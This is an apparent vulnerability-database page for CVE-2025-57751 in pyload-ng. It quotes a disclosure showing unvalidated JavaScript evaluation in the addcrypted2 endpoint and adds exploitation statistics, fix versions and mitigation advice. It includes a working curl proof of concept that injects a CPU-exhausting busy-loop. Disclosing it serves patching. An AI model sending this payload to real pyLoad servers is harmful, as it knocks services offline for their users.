NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2025-57751 — pyload-ng

CVE-2025-57751 is a Uncontrolled Resource Consumption vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

Also known asPYSEC-2026-1815
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-57751.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs26th percentile — riskier than 26% of all scored CVEsHighest risk
0.00%0.28%0.55%0.83%0.1%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

affected code

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")


def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

  • PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

top -pid $(pgrep -f "pyload.__main__")

or

top -pid $(pgrep -f "pyload")

The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ngall versions0.5.0b3.dev92pip install --upgrade 'pyload-ng==0.5.0b3.dev92'

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pyload-ng to 0.5.0b3.dev92 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-57751 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation. ### Summary The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. ### Details - Endpoint: flash/addcrypted2 - affected file: https://github.com/pyload/pyload/blob/de
O3 Security · Impact-Aware SCA

Is CVE-2025-57751 in your dependencies?

Find it across PyPI, including transitive dependencies.

Scan my dependencies How O3 SCA works
CVE-2025-57751: pyload-ng — Fix Available